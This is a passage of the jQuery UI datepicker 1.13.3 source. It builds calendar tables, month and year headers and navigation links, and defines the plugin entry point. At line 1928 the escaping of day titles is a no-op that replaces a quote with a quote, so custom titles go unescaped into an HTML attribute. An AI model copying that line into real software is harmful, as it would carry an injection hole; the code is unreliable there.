1763 )[ 0 ].outerHTML;
1764 } else if ( hideIfNoPrevNext ) {
1765 prev = "";
1766 } else {
1767 prev = $( "<a>" )
1768 .attr( {
1769 "class": "ui-datepicker-prev ui-corner-all ui-state-disabled",
1770 title: prevText
1771 } )
1772 .append(
1773 $( "<span>" )
1774 .addClass( "ui-icon ui-icon-circle-triangle-" +
1775 ( isRTL ? "e" : "w" ) )
1776 .text( prevText )
1777 )[ 0 ].outerHTML;
1778 }
1779
1780 nextText = this._get( inst, "nextText" );
1781 nextText = ( !navigationAsDateFormat ? nextText : this.formatDate( nextText,
1782 this._daylightSavingAdjust( new Date( drawYear, drawMonth + stepMonths, 1 ) ),
1783 this._getFormatConfig( inst ) ) );
1784
1785 if ( this._canAdjustMonth( inst, +1, drawYear, drawMonth ) ) {
1786 next = $( "<a>" )
1787 .attr( {
1788 "class": "ui-datepicker-next ui-corner-all",
1789 "data-handler": "next",
1790 "data-event": "click",
1791 title: nextText
1792 } )
1793 .append(
1794 $( "<span>" )
1795 .addClass( "ui-icon ui-icon-circle-triangle-" +
1796 ( isRTL ? "w" : "e" ) )
1797 .text( nextText )
1798 )[ 0 ].outerHTML;
1799 } else if ( hideIfNoPrevNext ) {
1800 next = "";
1801 } else {
1802 next = $( "<a>" )
1803 .attr( {
1804 "class": "ui-datepicker-next ui-corner-all ui-state-disabled",
1805 title: nextText
1806 } )
1807 .append(
1808 $( "<span>" )
1809 .attr( "class", "ui-icon ui-icon-circle-triangle-" +
1810 ( isRTL ? "w" : "e" ) )
1811 .text( nextText )
1812 )[ 0 ].outerHTML;
1813 }
1814
1815 currentText = this._get( inst, "currentText" );
1816 gotoDate = ( this._get( inst, "gotoCurrent" ) && inst.currentDay ? currentDate : today );
1817 currentText = ( !navigationAsDateFormat ? currentText :
1818 this.formatDate( currentText, gotoDate, this._getFormatConfig( inst ) ) );
1819
1820 controls = "";
1821 if ( !inst.inline ) {
1822 controls = $( "<button>" )
1823 .attr( {
1824 type: "button",
1825 "class": "ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all",
1826 "data-handler": "hide",
1827 "data-event": "click"
1828 } )
1829 .text( this._get( inst, "closeText" ) )[ 0 ].outerHTML;
1830 }
1831
1832 buttonPanel = "";
1833 if ( showButtonPanel ) {
1834 buttonPanel = $( "<div class='ui-datepicker-buttonpane ui-widget-content'>" )
1835 .append( isRTL ? controls : "" )
1836 .append( this._isInRange( inst, gotoDate ) ?
1837 $( "<button>" )
1838 .attr( {
1839 type: "button",
1840 "class": "ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all",
1841 "data-handler": "today",
1842 "data-event": "click"
1843 } )
1844 .text( currentText ) :
1845 "" )
1846 .append( isRTL ? "" : controls )[ 0 ].outerHTML;
1847 }
1848
1849 firstDay = parseInt( this._get( inst, "firstDay" ), 10 );
1850 firstDay = ( isNaN( firstDay ) ? 0 : firstDay );
1851
1852 showWeek = this._get( inst, "showWeek" );
1853 dayNames = this._get( inst, "dayNames" );
1854 dayNamesMin = this._get( inst, "dayNamesMin" );
1855 monthNames = this._get( inst, "monthNames" );
1856 monthNamesShort = this._get( inst, "monthNamesShort" );
1857 beforeShowDay = this._get( inst, "beforeShowDay" );
1858 showOtherMonths = this._get( inst, "showOtherMonths" );
1859 selectOtherMonths = this._get( inst, "selectOtherMonths" );
1860 defaultDate = this._getDefaultDate( inst );
1861 html = "";
1862
1863 for ( row = 0; row < numMonths[ 0 ]; row++ ) {
1864 group = "";
1865 this.maxRows = 4;
1866 for ( col = 0; col < numMonths[ 1 ]; col++ ) {
1867 selectedDate = this._daylightSavingAdjust( new Date( drawYear, drawMonth, inst.selectedDay ) );
1868 cornerClass = " ui-corner-all";
1869 calender = "";
1870 if ( isMultiMonth ) {
1871 calender += "<div class='ui-datepicker-group";
1872 if ( numMonths[ 1 ] > 1 ) {
1873 switch ( col ) {
1874 case 0: calender += " ui-datepicker-group-first";
1875 cornerClass = " ui-corner-" + ( isRTL ? "right" : "left" ); break;
1876 case numMonths[ 1 ] - 1: calender += " ui-datepicker-group-last";
1877 cornerClass = " ui-corner-" + ( isRTL ? "left" : "right" ); break;
1878 default: calender += " ui-datepicker-group-middle"; cornerClass = ""; break;
1879 }
1880 }
1881 calender += "'>";
1882 }
1883 calender += "<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix" + cornerClass + "'>" +
1884 ( /all|left/.test( cornerClass ) && row === 0 ? ( isRTL ? next : prev ) : "" ) +
1885 ( /all|right/.test( cornerClass ) && row === 0 ? ( isRTL ? prev : next ) : "" ) +
1886 this._generateMonthYearHeader( inst, drawMonth, drawYear, minDate, maxDate,
1887 row > 0 || col > 0, monthNames, monthNamesShort ) + // draw month headers
1888 "</div><table class='ui-datepicker-calendar'><thead>" +
1889 "<tr>";
1890 thead = ( showWeek ? "<th class='ui-datepicker-week-col'>" + this._get( inst, "weekHeader" ) + "</th>" : "" );
1891 for ( dow = 0; dow < 7; dow++ ) { // days of the week
1892 day = ( dow + firstDay ) % 7;
1893 thead += "<th scope='col'" + ( ( dow + firstDay + 6 ) % 7 >= 5 ? " class='ui-datepicker-week-end'" : "" ) + ">" +
1894 "<span title='" + dayNames[ day ] + "'>" + dayNamesMin[ day ] + "</span></th>";
1895 }
1896 calender += thead + "</tr></thead><tbody>";
1897 daysInMonth = this._getDaysInMonth( drawYear, drawMonth );
1898 if ( drawYear === inst.selectedYear && drawMonth === inst.selectedMonth ) {
1899 inst.selectedDay = Math.min( inst.selectedDay, daysInMonth );
1900 }
1901 leadDays = ( this._getFirstDayOfMonth( drawYear, drawMonth ) - firstDay + 7 ) % 7;
1902 curRows = Math.ceil( ( leadDays + daysInMonth ) / 7 ); // calculate the number of rows to generate
1903 numRows = ( isMultiMonth ? this.maxRows > curRows ? this.maxRows : curRows : curRows ); //If multiple months, use the higher number of rows (see #7043)
1904 this.maxRows = numRows;
1905 printDate = this._daylightSavingAdjust( new Date( drawYear, drawMonth, 1 - leadDays ) );
1906 for ( dRow = 0; dRow < numRows; dRow++ ) { // create date picker rows
1907 calender += "<tr>";
1908 tbody = ( !showWeek ? "" : "<td class='ui-datepicker-week-col'>" +
1909 this._get( inst, "calculateWeek" )( printDate ) + "</td>" );
1910 for ( dow = 0; dow < 7; dow++ ) { // create date picker days
1911 daySettings = ( beforeShowDay ?
1912 beforeShowDay.apply( ( inst.input ? inst.input[ 0 ] : null ), [ printDate ] ) : [ true, "" ] );
1913 otherMonth = ( printDate.getMonth() !== drawMonth );
1914 unselectable = ( otherMonth && !selectOtherMonths ) || !daySettings[ 0 ] ||
1915 ( minDate && printDate < minDate ) || ( maxDate && printDate > maxDate );
1916 tbody += "<td class='" +
1917 ( ( dow + firstDay + 6 ) % 7 >= 5 ? " ui-datepicker-week-end" : "" ) + // highlight weekends
1918 ( otherMonth ? " ui-datepicker-other-month" : "" ) + // highlight days from other months
1919 ( ( printDate.getTime() === selectedDate.getTime() && drawMonth === inst.selectedMonth && inst._keyEvent ) || // user pressed key
1920 ( defaultDate.getTime() === printDate.getTime() && defaultDate.getTime() === selectedDate.getTime() ) ?
1921
1922 // or defaultDate is current printedDate and defaultDate is selectedDate
1923 " " + this._dayOverClass : "" ) + // highlight selected day
1924 ( unselectable ? " " + this._unselectableClass + " ui-state-disabled" : "" ) + // highlight unselectable days
1925 ( otherMonth && !showOtherMonths ? "" : " " + daySettings[ 1 ] + // highlight custom dates
1926 ( printDate.getTime() === currentDate.getTime() ? " " + this._currentClass : "" ) + // highlight selected day
1927 ( printDate.getTime() === today.getTime() ? " ui-datepicker-today" : "" ) ) + "'" + // highlight today (if different)
1928 ( ( !otherMonth || showOtherMonths ) && daySettings[ 2 ] ? " title='" + daySettings[ 2 ].replace( /'/g, "'" ) + "'" : "" ) + // cell title
1929 ( unselectable ? "" : " data-handler='selectDay' data-event='click' data-month='" + printDate.getMonth() + "' data-year='" + printDate.getFullYear() + "'" ) + ">" + // actions
1930 ( otherMonth && !showOtherMonths ? " " : // display for other months
1931 ( unselectable ? "<span class='ui-state-default'>" + printDate.getDate() + "</span>" : "<a class='ui-state-default" +
1932 ( printDate.getTime() === today.getTime() ? " ui-state-highlight" : "" ) +
1933 ( printDate.getTime() === currentDate.getTime() ? " ui-state-active" : "" ) + // highlight selected day
1934 ( otherMonth ? " ui-priority-secondary" : "" ) + // distinguish dates from other months
1935 "' href='#' aria-current='" + ( printDate.getTime() === currentDate.getTime() ? "true" : "false" ) + // mark date as selected for screen reader
1936 "' data-date='" + printDate.getDate() + // store date as data
1937 "'>" + printDate.getDate() + "</a>" ) ) + "</td>"; // display selectable date
1938 printDate.setDate( printDate.getDate() + 1 );
1939 printDate = this._daylightSavingAdjust( printDate );
1940 }
1941 calender += tbody + "</tr>";
1942 }
1943 drawMonth++;
1944 if ( drawMonth > 11 ) {
1945 drawMonth = 0;
1946 drawYear++;
1947 }
1948 calender += "</tbody></table>" + ( isMultiMonth ? "</div>" +
1949 ( ( numMonths[ 0 ] > 0 && col === numMonths[ 1 ] - 1 ) ? "<div class='ui-datepicker-row-break'></div>" : "" ) : "" );
1950 group += calender;
1951 }
1952 html += group;
1953 }
1954 html += buttonPanel;
1955 inst._keyEvent = false;
1956 return html;
1957 },
1958
1959 /* Generate the month and year header. */
1960 _generateMonthYearHeader: function( inst, drawMonth, drawYear, minDate, maxDate,
1961 secondary, monthNames, monthNamesShort ) {
1962
1963 var inMinYear, inMaxYear, month, years, thisYear, determineYear, year, endYear,
1964 changeMonth = this._get( inst, "changeMonth" ),
1965 changeYear = this._get( inst, "changeYear" ),
1966 showMonthAfterYear = this._get( inst, "showMonthAfterYear" ),
1967 selectMonthLabel = this._get( inst, "selectMonthLabel" ),
1968 selectYearLabel = this._get( inst, "selectYearLabel" ),
1969 html = "<div class='ui-datepicker-title'>",
1970 monthHtml = "";
1971
1972 // Month selection
1973 if ( secondary || !changeMonth ) {
1974 monthHtml += "<span class='ui-datepicker-month'>" + monthNames[ drawMonth ] + "</span>";
1975 } else {
1976 inMinYear = ( minDate && minDate.getFullYear() === drawYear );
1977 inMaxYear = ( maxDate && maxDate.getFullYear() === drawYear );
1978 monthHtml += "<select class='ui-datepicker-month' aria-label='" + selectMonthLabel + "' data-handler='selectMonth' data-event='change'>";
1979 for ( month = 0; month < 12; month++ ) {
1980 if ( ( !inMinYear || month >= minDate.getMonth() ) && ( !inMaxYear || month <= maxDate.getMonth() ) ) {
1981 monthHtml += "<option value='" + month + "'" +
1982 ( month === drawMonth ? " selected='selected'" : "" ) +
1983 ">" + monthNamesShort[ month ] + "</option>";
1984 }
1985 }
1986 monthHtml += "</select>";
1987 }
1988
1989 if ( !showMonthAfterYear ) {
1990 html += monthHtml + ( secondary || !( changeMonth && changeYear ) ? " " : "" );
1991 }
1992
1993 // Year selection
1994 if ( !inst.yearshtml ) {
1995 inst.yearshtml = "";
1996 if ( secondary || !changeYear ) {
1997 html += "<span class='ui-datepicker-year'>" + drawYear + "</span>";
1998 } else {
1999
2000 // determine range of years to display
2001 years = this._get( inst, "yearRange" ).split( ":" );
2002 thisYear = new Date().getFullYear();
2003 determineYear = function( value ) {
2004 var year = ( value.match( /c[+\-].*/ ) ? drawYear + parseInt( value.substring( 1 ), 10 ) :
2005 ( value.match( /[+\-].*/ ) ? thisYear + parseInt( value, 10 ) :
2006 parseInt( value, 10 ) ) );
2007 return ( isNaN( year ) ? thisYear : year );
2008 };
2009 year = determineYear( years[ 0 ] );
2010 endYear = Math.max( year, determineYear( years[ 1 ] || "" ) );
2011 year = ( minDate ? Math.max( year, minDate.getFullYear() ) : year );
2012 endYear = ( maxDate ? Math.min( endYear, maxDate.getFullYear() ) : endYear );
2013 inst.yearshtml += "<select class='ui-datepicker-year' aria-label='" + selectYearLabel + "' data-handler='selectYear' data-event='change'>";
2014 for ( ; year <= endYear; year++ ) {
2015 inst.yearshtml += "<option value='" + year + "'" +
2016 ( year === drawYear ? " selected='selected'" : "" ) +
2017 ">" + year + "</option>";
2018 }
2019 inst.yearshtml += "</select>";
2020
2021 html += inst.yearshtml;
2022 inst.yearshtml = null;
2023 }
2024 }
2025
2026 html += this._get( inst, "yearSuffix" );
2027 if ( showMonthAfterYear ) {
2028 html += ( secondary || !( changeMonth && changeYear ) ? " " : "" ) + monthHtml;
2029 }
2030 html += "</div>"; // Close datepicker_header
2031 return html;
2032 },
2033
2034 /* Adjust one of the date sub-fields. */
2035 _adjustInstDate: function( inst, offset, period ) {
2036 var year = inst.selectedYear + ( period === "Y" ? offset : 0 ),
2037 month = inst.selectedMonth + ( period === "M" ? offset : 0 ),
2038 day = Math.min( inst.selectedDay, this._getDaysInMonth( year, month ) ) + ( period === "D" ? offset : 0 ),
2039 date = this._restrictMinMax( inst, this._daylightSavingAdjust( new Date( year, month, day ) ) );
2040
2041 inst.selectedDay = date.getDate();
2042 inst.drawMonth = inst.selectedMonth = date.getMonth();
2043 inst.drawYear = inst.selectedYear = date.getFullYear();
2044 if ( period === "M" || period === "Y" ) {
2045 this._notifyChange( inst );
2046 }
2047 },
2048
2049 /* Ensure a date is within any min/max bounds. */
2050 _restrictMinMax: function( inst, date ) {
2051 var minDate = this._getMinMaxDate( inst, "min" ),
2052 maxDate = this._getMinMaxDate( inst, "max" ),
2053 newDate = ( minDate && date < minDate ? minDate : date );
2054 return ( maxDate && newDate > maxDate ? maxDate : newDate );
2055 },
2056
2057 /* Notify change of month/year. */
2058 _notifyChange: function( inst ) {
2059 var onChange = this._get( inst, "onChangeMonthYear" );
2060 if ( onChange ) {
2061 onChange.apply( ( inst.input ? inst.input[ 0 ] : null ),
2062 [ inst.selectedYear, inst.selectedMonth + 1, inst ] );
2063 }
2064 },
2065
2066 /* Determine the number of months to show. */
2067 _getNumberOfMonths: function( inst ) {
2068 var numMonths = this._get( inst, "numberOfMonths" );
2069 return ( numMonths == null ? [ 1, 1 ] : ( typeof numMonths === "number" ? [ 1, numMonths ] : numMonths ) );
2070 },
2071
2072 /* Determine the current maximum date - ensure no time components are set. */
2073 _getMinMaxDate: function( inst, minMax ) {
2074 return this._determineDate( inst, this._get( inst, minMax + "Date" ), null );
2075 },
2076
2077 /* Find the number of days in a given month. */
2078 _getDaysInMonth: function( year, month ) {
2079 return 32 - this._daylightSavingAdjust( new Date( year, month, 32 ) ).getDate();
2080 },
2081
2082 /* Find the day of the week of the first of a month. */
2083 _getFirstDayOfMonth: function( year, month ) {
2084 return new Date( year, month, 1 ).getDay();
2085 },
2086
2087 /* Determines if we should allow a "next/prev" month display change. */
2088 _canAdjustMonth: function( inst, offset, curYear, curMonth ) {
2089 var numMonths = this._getNumberOfMonths( inst ),
2090 date = this._daylightSavingAdjust( new Date( curYear,
2091 curMonth + ( offset < 0 ? offset : numMonths[ 0 ] * numMonths[ 1 ] ), 1 ) );
2092
2093 if ( offset < 0 ) {
2094 date.setDate( this._getDaysInMonth( date.getFullYear(), date.getMonth() ) );
2095 }
2096 return this._isInRange( inst, date );
2097 },
2098
2099 /* Is the given date in the accepted range? */
2100 _isInRange: function( inst, date ) {
2101 var yearSplit, currentYear,
2102 minDate = this._getMinMaxDate( inst, "min" ),
2103 maxDate = this._getMinMaxDate( inst, "max" ),
2104 minYear = null,
2105 maxYear = null,
2106 years = this._get( inst, "yearRange" );
2107 if ( years ) {
2108 yearSplit = years.split( ":" );
2109 currentYear = new Date().getFullYear();
2110 minYear = parseInt( yearSplit[ 0 ], 10 );
2111 maxYear = parseInt( yearSplit[ 1 ], 10 );
2112 if ( yearSplit[ 0 ].match( /[+\-].*/ ) ) {
2113 minYear += currentYear;
2114 }
2115 if ( yearSplit[ 1 ].match( /[+\-].*/ ) ) {
2116 maxYear += currentYear;
2117 }
2118 }
2119
2120 return ( ( !minDate || date.getTime() >= minDate.getTime() ) &&
2121 ( !maxDate || date.getTime() <= maxDate.getTime() ) &&
2122 ( !minYear || date.getFullYear() >= minYear ) &&
2123 ( !maxYear || date.getFullYear() <= maxYear ) );
2124 },
2125
2126 /* Provide the configuration settings for formatting/parsing. */
2127 _getFormatConfig: function( inst ) {
2128 var shortYearCutoff = this._get( inst, "shortYearCutoff" );
2129 shortYearCutoff = ( typeof shortYearCutoff !== "string" ? shortYearCutoff :
2130 new Date().getFullYear() % 100 + parseInt( shortYearCutoff, 10 ) );
2131 return { shortYearCutoff: shortYearCutoff,
2132 dayNamesShort: this._get( inst, "dayNamesShort" ), dayNames: this._get( inst, "dayNames" ),
2133 monthNamesShort: this._get( inst, "monthNamesShort" ), monthNames: this._get( inst, "monthNames" ) };
2134 },
2135
2136 /* Format the given date for display. */
2137 _formatDate: function( inst, day, month, year ) {
2138 if ( !day ) {
2139 inst.currentDay = inst.selectedDay;
2140 inst.currentMonth = inst.selectedMonth;
2141 inst.currentYear = inst.selectedYear;
2142 }
2143 var date = ( day ? ( typeof day === "object" ? day :
2144 this._daylightSavingAdjust( new Date( year, month, day ) ) ) :
2145 this._daylightSavingAdjust( new Date( inst.currentYear, inst.currentMonth, inst.currentDay ) ) );
2146 return this.formatDate( this._get( inst, "dateFormat" ), date, this._getFormatConfig( inst ) );
2147 }
2148} );
2149
2150/*
2151 * Bind hover events for datepicker elements.
2152 * Done via delegate so the binding only occurs once in the lifetime of the parent div.
2153 * Global datepicker_instActive, set by _updateDatepicker allows the handlers to find their way back to the active picker.
2154 */
2155function datepicker_bindHover( dpDiv ) {
2156 var selector = "button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a";
2157 return dpDiv.on( "mouseout", selector, function() {
2158 $( this ).removeClass( "ui-state-hover" );
2159 if ( this.className.indexOf( "ui-datepicker-prev" ) !== -1 ) {
2160 $( this ).removeClass( "ui-datepicker-prev-hover" );
2161 }
2162 if ( this.className.indexOf( "ui-datepicker-next" ) !== -1 ) {
2163 $( this ).removeClass( "ui-datepicker-next-hover" );
2164 }
2165 } )
2166 .on( "mouseover", selector, datepicker_handleMouseover );
2167}
2168
2169function datepicker_handleMouseover() {
2170 if ( !$.datepicker._isDisabledDatepicker( datepicker_instActive.inline ? datepicker_instActive.dpDiv.parent()[ 0 ] : datepicker_instActive.input[ 0 ] ) ) {
2171 $( this ).parents( ".ui-datepicker-calendar" ).find( "a" ).removeClass( "ui-state-hover" );
2172 $( this ).addClass( "ui-state-hover" );
2173 if ( this.className.indexOf( "ui-datepicker-prev" ) !== -1 ) {
2174 $( this ).addClass( "ui-datepicker-prev-hover" );
2175 }
2176 if ( this.className.indexOf( "ui-datepicker-next" ) !== -1 ) {
2177 $( this ).addClass( "ui-datepicker-next-hover" );
2178 }
2179 }
2180}
2181
2182/* jQuery extend now ignores nulls! */
2183function datepicker_extendRemove( target, props ) {
2184 $.extend( target, props );
2185 for ( var name in props ) {
2186 if ( props[ name ] == null ) {
2187 target[ name ] = props[ name ];
2188 }
2189 }
2190 return target;
2191}
2192
2193/* Invoke the datepicker functionality.
2194 @param options string - a command, optionally followed by additional parameters or
2195 Object - settings for attaching new datepicker functionality
2196 @return jQuery object */
2197$.fn.datepicker = function( options ) {
2198
2199 /* Verify an empty collection wasn't passed - Fixes #6976 */
2200 if ( !this.length ) {
2201 return this;
2202 }
2203
2204 /* Initialise the date picker. */
2205 if ( !$.datepicker.initialized ) {
2206 $( document ).on( "mousedown", $.datepicker._checkExternalClick );
2207 $.datepicker.initialized = true;
2208 }
2209
2210 /* Append datepicker main container to body if not exist. */
2211 if ( $( "#" + $.datepicker._mainDivId ).length === 0 ) {
2212 $( "body" ).append( $.datepicker.dpDiv );
2213 }
2214
2215 var otherArgs = Array.prototype.slice.call( arguments, 1 );
2216 if ( typeof options === "string" && ( options === "isDisabled" || options === "getDate" || options === "widget" ) ) {
2217 return $.datepicker[ "_" + options + "Datepicker" ].
2218 apply( $.datepicker, [ this[ 0 ] ].concat( otherArgs ) );
2219 }
2220 if ( options === "option" && arguments.length === 2 && typeof arguments[ 1 ] === "string" ) {
2221 return $.datepicker[ "_" + options + "Datepicker" ].
2222 apply( $.datepicker, [ this[ 0 ] ].concat( otherArgs ) );
2223 }
2224 return this.each( function() {
2225 if ( typeof options === "string" ) {
2226 $.datepicker[ "_" + options + "Datepicker" ]
2227 .apply( $.datepicker, [ this ].concat( otherArgs ) );
2228 } else {
2229 $.datepicker._attachDatepicker( this, options );
2230 }
2231 } );
2232};
2233
2234$.datepicker = new Datepicker(); // singleton instance
2235$.datepicker.initialized = false;
2236$.datepicker.uuid = new Date().getTime();
2237$.datepicker.version = "1.13.3";
2238
2239return $.datepicker;
2240
2241} );
2242